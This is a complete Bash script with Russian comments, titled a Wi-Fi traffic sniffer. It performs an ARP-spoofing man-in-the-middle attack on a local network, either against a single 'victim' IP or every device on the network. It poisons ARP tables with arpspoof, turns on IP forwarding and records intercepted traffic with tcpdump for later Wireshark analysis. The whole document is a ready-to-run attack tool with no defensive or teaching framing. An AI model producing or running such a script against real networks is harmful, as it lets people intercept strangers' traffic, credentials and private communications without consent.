Загрузка данных


#!/bin/bash

# Цвета для вывода
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m' # No Color

# Проверка на root
if [ "$EUID" -ne 0 ]; then 
    echo -e "${RED}Запусти с sudo: sudo $0${NC}"
    exit 1
fi

# Настройки
INTERFACE="wlan0"          # Wi-Fi интерфейс (проверь через ifconfig)
TARGET_IP=""               # IP жертвы (оставь пустым — вся сеть)
GATEWAY_IP=""              # IP роутера (определится автоматически)

echo -e "${GREEN}=== Wi-Fi Traffic Sniffer ===${NC}"

# Включить IP форвардинг
echo 1 > /proc/sys/net/ipv4/ip_forward

# Определить шлюз, если не задан
if [ -z "$GATEWAY_IP" ]; then
    GATEWAY_IP=$(ip route | grep default | awk '{print $3}')
    echo -e "${YELLOW}Шлюз определён: $GATEWAY_IP${NC}"
fi

# Если цель не задана — перехватывать весь трафик в сети
if [ -z "$TARGET_IP" ]; then
    echo -e "${YELLOW}Цель не задана — перехватываю ВСЮ сеть $INTERFACE${NC}"
    echo -e "${RED}ВНИМАНИЕ: Это замедлит весь интернет в сети!${NC}"
    
    # Включить сниффинг всей сети
    sudo arpspoof -i $INTERFACE $GATEWAY_IP > /dev/null 2>&1 &
    ARPSPOOF_PID=$!
    
    # Захват трафика в файл
    echo -e "${GREEN}Перехват трафика... Сохраняю в capture.pcap${NC}"
    tcpdump -i $INTERFACE -w capture.pcap -s 0 -U &
    TCPDUMP_PID=$!
    
else
    # Перехват конкретного устройства
    echo -e "${GREEN}Цель: $TARGET_IP, Шлюз: $GATEWAY_IP${NC}"
    
    # Отравление ARP (две стороны)
    sudo arpspoof -i $INTERFACE -t $TARGET_IP $GATEWAY_IP > /dev/null 2>&1 &
    ARPSPOOF1_PID=$!
    sudo arpspoof -i $INTERFACE -t $GATEWAY_IP $TARGET_IP > /dev/null 2>&1 &
    ARPSPOOF2_PID=$!
    
    # Захват трафика только от цели
    echo -e "${GREEN}Перехват трафика от $TARGET_IP... Сохраняю в capture.pcap${NC}"
    tcpdump -i $INTERFACE host $TARGET_IP -w capture.pcap -s 0 -U &
    TCPDUMP_PID=$!
fi

echo -e "${YELLOW}Нажми Ctrl+C для остановки и восстановления сети${NC}"

# Ожидание прерывания
trap stop_sniff INT

stop_sniff() {
    echo -e "\n${RED}Останавливаю...${NC}"
    
    # Убить все процессы
    kill $TCPDUMP_PID 2>/dev/null
    kill $ARPSPOOF_PID 2>/dev/null
    kill $ARPSPOOF1_PID 2>/dev/null
    kill $ARPSPOOF2_PID 2>/dev/null
    
    # Выключить IP форвардинг
    echo 0 > /proc/sys/net/ipv4/ip_forward
    
    # Очистить ARP-таблицу (восстановить связь)
    arp -d $GATEWAY_IP 2>/dev/null
    [ -n "$TARGET_IP" ] && arp -d $TARGET_IP 2>/dev/null
    
    echo -e "${GREEN}Готово. Трафик сохранён в capture.pcap${NC}"
    echo -e "${YELLOW}Анализ: wireshark capture.pcap${NC}"
    exit 0
}

# Ждать прерывания
while true; do
    sleep 1
done